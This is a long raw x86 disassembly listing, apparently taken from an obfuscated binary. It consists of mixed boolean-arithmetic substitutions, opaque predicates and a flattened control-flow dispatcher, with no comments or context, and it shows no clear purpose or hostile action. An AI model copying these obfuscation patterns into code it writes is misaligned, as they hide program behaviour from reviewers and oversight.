mov al, byte [ebp - 0x841]
or al, cl
mov cl, byte [ebp - 0x840]
xor ah, al
mov al, byte [ebp - 0x83f]
or dl, al
mov al, byte [ebp - 0x83e]
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x83b], dl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and bh, ah
mov byte [ebp - 0x83d], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x83c], al
mov al, byte [ebp - 0x83d]
or dl, al
mov al, byte [ebp - 0x83c]
or bh, al
mov al, byte [ebp - 0x83b]
xor dl, bh
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or bl, al
mov al, dl
xor al, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
or al, bl
or ah, 0
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dl, bl
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, dh
xor cl, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or dl, dh
or al, ch
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ch, cl
mov cl, 1
xor cl, 0
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, 1
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or bl, dh
or dl, ch
xor bl, dl
mov dl, bl
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov dh, 1
xor dh, 0
mov al, dl
xor al, dh
and al, dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov dh, cl
and dh, ch
xor cl, ch
or dh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x83a], ch
mov bl, dl
xor bl, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov bh, bl
and bh, 0
and dl, cl
or ch, al
mov al, byte [ebp - 0x83a]
or bh, dl
mov dl, byte [ebp - 0x839]
xor ch, bh
or al, bl
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0x838], al
mov cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 0
mov dh, 1
xor dh, 0
mov ch, dh
and ch, 1
mov al, dl
xor al, 0xff
and al, 0
and dl, dh
or bh, ch
or al, dl
xor bh, al
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov al, dl
and al, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or al, cl
mov cl, byte [ebp - 0x838]
or bl, bh
xor al, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or al, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
mov dl, cl
xor dl, 0xff
mov al, ch
and al, dl
xor ch, 0xff
mov dl, cl
and dl, ch
or al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or cl, al
mov byte [ebp - 0x831], cl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
xor cl, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov ch, bh
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x837], al
mov ah, dh
xor ah, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov bl, bh
xor bl, 0xff
mov ch, dl
xor ch, bl
and ch, dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x832], al
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x836], al
mov al, byte [ebp - 0x832]
and cl, bl
and al, 0
mov byte [ebp - 0x834], al
mov al, byte [ebp - 0x837]
and al, bl
mov byte [ebp - 0x835], al
mov al, byte [ebp - 0x836]
or al, cl
mov cl, byte [ebp - 0x835]
mov byte [ebp - 0x833], al
mov al, byte [ebp - 0x834]
or al, cl
mov cl, byte [ebp - 0x833]
xor cl, al
mov al, byte [ebp - 0x832]
or dl, al
mov al, byte [ebp - 0x831]
xor dl, 0xff
or bl, 0
and dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x830], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, al
mov al, byte [ebp - 0x830]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x82f], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x82f]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x30dd7218
mov ecx, 0x56086348
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dl, byte [ebp - 0x5f]
mov eax, 0x94ffaf68
mov ecx, 0xa973b167
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x40
mov dword [ebp - 0x1a8], 0x339f38e6
jmp 0x4b4ff5
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xa10], eax
mov edx, 0xffffffff
xor edx, 0x20000000
and edx, 0x561c67e8
mov ecx, 0xffffffff
xor ecx, 0x561c67e8
mov esi, ecx
and esi, 0x20000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x561c67e8
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov ecx, 0xffffffff
xor ecx, 0x2dd9a79e
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x4d68af91
or ecx, edx
or eax, 0x4d68af91
xor ecx, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x2dd9a79e
and eax, 0x10858a5c
mov esi, 0xffffffff
xor esi, 0x10858a5c
mov edi, esi
and edi, 0x2dd9a79e
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x10858a5c
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
mov edx, eax
xor edx, 0xffffffff
xor edx, 0x20000000
and edx, 0x20000000
mov dword [ebp - 0xa40], edx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xd3dd1280
mov esi, 0xffffffff
xor esi, 0xd3dd1280
mov edi, esi
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xd3dd1280
and esi, 0xffffffff
or ebx, edi
mov edi, dword [ebp - 0xa40]
or edx, esi
xor ebx, edx
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x2dd9a79e
mov edx, 0xffffffff
xor edx, 0xa292b5e4
or ebx, esi
or edx, 0xa292b5e4
xor ebx, 0xffffffff
and ebx, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0xa2c], eax
mov edx, ecx
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x6198bf1c
mov eax, edx
and eax, 0x6198bf1c
mov dword [ebp - 0xa3c], eax
and ecx, esi
mov eax, edi
and eax, 0x6198bf1c
mov dword [ebp - 0xa34], eax
mov eax, dword [ebp - 0xa40]
and eax, esi
mov dword [ebp - 0xa38], eax
mov eax, dword [ebp - 0xa3c]
or eax, ecx
mov ecx, dword [ebp - 0xa38]
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa34]
or eax, ecx
mov ecx, dword [ebp - 0xa30]
xor ecx, eax
mov eax, dword [ebp - 0xa2c]
or edx, edi
xor edx, 0xffffffff
or esi, 0x6198bf1c
and edx, esi
or ecx, edx
mov dword [ebp - 0xa20], ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xde950b9c
mov ecx, edx
and ecx, 0xde950b9c
and ebx, esi
mov dword [ebp - 0xa28], ebx
mov ebx, edi
and ebx, 0xde950b9c
and eax, esi
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0xa28]
or ecx, eax
mov eax, dword [ebp - 0xa24]
or ebx, eax
mov eax, dword [ebp - 0xa20]
xor ecx, ebx
mov ebx, dword [ebp - 0xa10]
or edx, edi
xor edx, 0xffffffff
or esi, 0xde950b9c
and edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov edi, ecx
and edi, edx
xor ecx, 0xffffffff
and eax, ecx
or edi, eax
mov esi, ebx
xor esi, 0xffffffff
and esi, 0xdb4e1580
mov ecx, 0xffffffff
xor ecx, 0xdb4e1580
mov edx, ebx
and edx, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xdb4e1580
and ecx, 0xffffffff
or esi, edx
or eax, ecx
xor esi, eax
xor esi, 0xffffffff
xor esi, 0xc4d97bee
and esi, 0xc4d97bee
mov ecx, 0xffffffff
xor ecx, 0xc4d97bee
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xc4d97bee
or ecx, eax
mov dword [ebp - 0xa14], ecx
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x72c0f4f7
or ebx, ecx
or eax, 0x72c0f4f7
xor ebx, 0xffffffff
and ebx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0x6fdbc1f7
mov ecx, 0xffffffff
xor ecx, 0x6fdbc1f7
mov eax, edi
and eax, ecx
mov dword [ebp - 0xa1c], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x6fdbc1f7
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0xa1c]
and ecx, 0xffffffff
or edx, eax
mov eax, dword [ebp - 0xa18]
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0xc4d97bee
mov ecx, edx
xor ecx, eax
mov eax, dword [ebp - 0xa14]
and ecx, edx
xor eax, 0xffffffff
mov edx, edi
xor edx, eax
mov eax, dword [ebp - 0xa10]
and edx, edi
mov edi, esi
and edi, ebx
xor esi, ebx
or edi, esi
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xb8897a98
mov ebx, 0xffffffff
xor ebx, 0xb8897a98
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xb8897a98
and esi, ebx
or edx, edi
or ecx, esi
xor edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x1ca0ac97
or eax, edx
or ecx, 0x1ca0ac97
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
mov edi, 0x3b423b3b
add edi, 0
add edi, 0xd8d26fe5
sub edi, 0x3b423b3b
sub edi, 0xd0b95c4
sub edi, 1
add edi, 0xd0b95c4
xor edx, edx
sub edx, 0xd8d26fe5
add edi, edx
mov edx, eax
add edx, 0xf9ac7c0e
sub edx, 0xf5406e63
sub edx, 0xf9ac7c0e
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xf5406e63
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov ch, ah
and ch, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or dl, ch
or al, cl
xor dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov al, bl
xor al, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or ah, ch
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd645732d
mov ecx, 0x690d1f7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
mov esi, 0xeca82a7b
add esi, 0
sub esi, 1
sub esi, 0xeca82a7b
mov edx, 0x6dfae0da
add edx, 0
add edx, esi
sub edx, 0x6dfae0da
mov esi, 0x357c783
add esi, 0
sub esi, eax
sub esi, 0x357c783
mov edi, 0xb6a5cd3a
add edi, 0
sub edi, edx
sub edi, 0xb6a5cd3a
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, ah
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0xad6], al
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
and al, 0
and cl, dl
mov dh, ch
and dh, 0
and bh, dl
or al, cl
mov cl, byte [ebp - 0xad6]
or dh, bh
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0xaa6], al
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, bl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
mov bh, bl
xor bh, cl
and bh, bl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xad5], ch
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov dh, dl
and dh, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0xad5]
or dh, bh
xor ch, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dh, 1
xor dh, 1
and dh, 0
mov bh, 1
xor bh, 0
mov dl, bh
and dl, 1
mov al, 1
xor al, 1
and al, 0
and bh, 1
or dh, dl
mov dl, byte [ebp - 0xaa6]
or al, bh
xor dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov byte [ebp - 0xa91], al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dh
or al, cl
xor bh, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
mov al, bh
xor al, 0xff
and al, 0xff
and bh, dh
mov dh, byte [ebp - 0xa91]
or cl, dl
mov dl, byte [ebp - 0xaa6]
or al, bh
xor cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0xacb], al
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xad2], cl
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov bh, dl
and bh, 1
mov byte [ebp - 0xad4], bh
mov bh, ah
and bh, 0
and al, dl
mov byte [ebp - 0xad3], al
mov al, byte [ebp - 0xad4]
or cl, al
mov al, byte [ebp - 0xad3]
or bh, al
mov al, byte [ebp - 0xad2]
xor cl, bh
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov dh, 1
xor dh, 1
and dh, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, bh
or al, dl
xor dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov byte [ebp - 0xad1], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xad0], al
mov al, byte [ebp - 0xad1]
and bh, 1
or dl, al
mov al, byte [ebp - 0xad0]
or al, bh
mov bh, byte [ebp - 0xa91]
xor dl, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or cl, bh
or dl, bl
xor cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
and bl, 1
or dl, bl
mov byte [ebp - 0xacc], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xacd], bh
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov byte [ebp - 0xacf], al
mov al, bl
and al, 0
mov byte [ebp - 0xace], al
mov al, byte [ebp - 0xacf]
and cl, dl
or bh, al
mov al, byte [ebp - 0xace]
or al, cl
mov cl, byte [ebp - 0xacd]
xor bh, al
mov al, byte [ebp - 0xacc]
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or bh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
mov bh, byte [ebp - 0xacb]
or al, bl
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or al, bh
or cl, bl
xor al, cl
mov byte [ebp - 0xabe], al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov cl, ah
and cl, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0xacb]
or bl, bh
xor al, bl
mov byte [ebp - 0xabb], al
mov bh, 1
xor bh, 1
and bh, 0
mov al, 1
xor al, 0
mov bl, al
and bl, 1
mov byte [ebp - 0xaca], bl
mov bl, 1
xor bl, 1
and bl, 0
and al, 1
mov byte [ebp - 0xac9], al
mov al, byte [ebp - 0xaca]
or bh, al
mov al, byte [ebp - 0xac9]
or bl, al
mov al, byte [ebp - 0xabe]
xor bh, bl
mov byte [ebp - 0xab5], bh
mov bl, 1
xor bl, 1
xor al, bl
mov bl, byte [ebp - 0xabe]
and al, bl
mov bl, byte [ebp - 0xabb]
mov byte [ebp - 0xac8], al
xor cl, 0xff
xor bh, 0xff
mov al, 1
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
xor bl, 0xff
mov al, 1
xor al, 1
mov bh, 1
xor bh, 1
or bl, al
mov al, byte [ebp - 0xac8]
or bh, 1
xor bl, 0xff
and bl, bh
mov bh, byte [ebp - 0xab5]
mov byte [ebp - 0xac3], bl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or ah, bh
or bl, 0
xor ah, 0xff
and ah, bl
mov byte [ebp - 0xac5], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xac4], bl
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
and al, bh
mov byte [ebp - 0xac7], al
mov al, byte [ebp - 0xac4]
and al, 0xff
mov byte [ebp - 0xac6], al
mov al, byte [ebp - 0xac7]
and cl, bh
or bl, al
mov al, byte [ebp - 0xac6]
or al, cl
mov cl, byte [ebp - 0xac5]
xor bl, al
mov al, byte [ebp - 0xac4]
or ah, al
mov al, byte [ebp - 0xac3]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xabf], ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xac0], bh
mov bh, 1
xor bh, 0
and ah, 0
and al, bh
mov byte [ebp - 0xac2], al
mov al, byte [ebp - 0xac0]
and al, 0
mov byte [ebp - 0xac1], al
mov al, byte [ebp - 0xac2]
and cl, bh
or ah, al
mov al, byte [ebp - 0xac1]
or al, cl
mov cl, byte [ebp - 0xac0]
xor ah, al
mov al, byte [ebp - 0xabf]
or al, cl
mov cl, byte [ebp - 0xabe]
xor al, 0xff
or bh, 0
and al, bh
or ah, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
mov byte [ebp - 0xabd], al
and bl, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0xabc], al
mov al, byte [ebp - 0xabd]
and ah, al
mov al, byte [ebp - 0xabc]
or bh, bl
mov bl, byte [ebp - 0xabb]
or al, ah
xor bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xab6], al
xor bl, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
mov byte [ebp - 0xaba], al
and cl, ah
mov al, bl
and al, 0xff
mov byte [ebp - 0xab8], al
mov al, byte [ebp - 0xabb]
and al, ah
mov byte [ebp - 0xab9], al
mov al, byte [ebp - 0xaba]
or al, cl
mov cl, byte [ebp - 0xab9]
mov byte [ebp - 0xab7], al
mov al, byte [ebp - 0xab8]
or al, cl
mov cl, byte [ebp - 0xab7]
xor cl, al
mov al, byte [ebp - 0xab6]
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0xab5]
or ah, bl
xor al, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor al, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xab2], ah
mov bl, al
xor bl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and bh, cl
mov byte [ebp - 0xab4], bh
mov bh, bl
and bh, 0xff
and al, cl
mov byte [ebp - 0xab3], al
mov al, byte [ebp - 0xab4]
or ah, al
mov al, byte [ebp - 0xab3]
or bh, al
mov al, byte [ebp - 0xab2]
xor ah, bh
or al, bl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, dh
and cl, bl
or al, cl
mov byte [ebp - 0xaac], al
mov al, dl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov bh, dl
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or al, bh
or cl, bl
xor al, cl
mov byte [ebp - 0xaaf], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
mov bh, al
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and al, 1
or bl, bh
mov bh, byte [ebp - 0xaaf]
or cl, al
mov al, byte [ebp - 0xaac]
xor bl, cl
mov byte [ebp - 0xaa8], bl
mov cl, 1
xor cl, 1
xor al, cl
mov cl, byte [ebp - 0xaac]
and al, cl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov bl, 1
xor bl, 1
mov dh, bh
xor dh, bl
mov bl, byte [ebp - 0xaa8]
and dh, bh
mov byte [ebp - 0xaad], dh
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xaae], bl
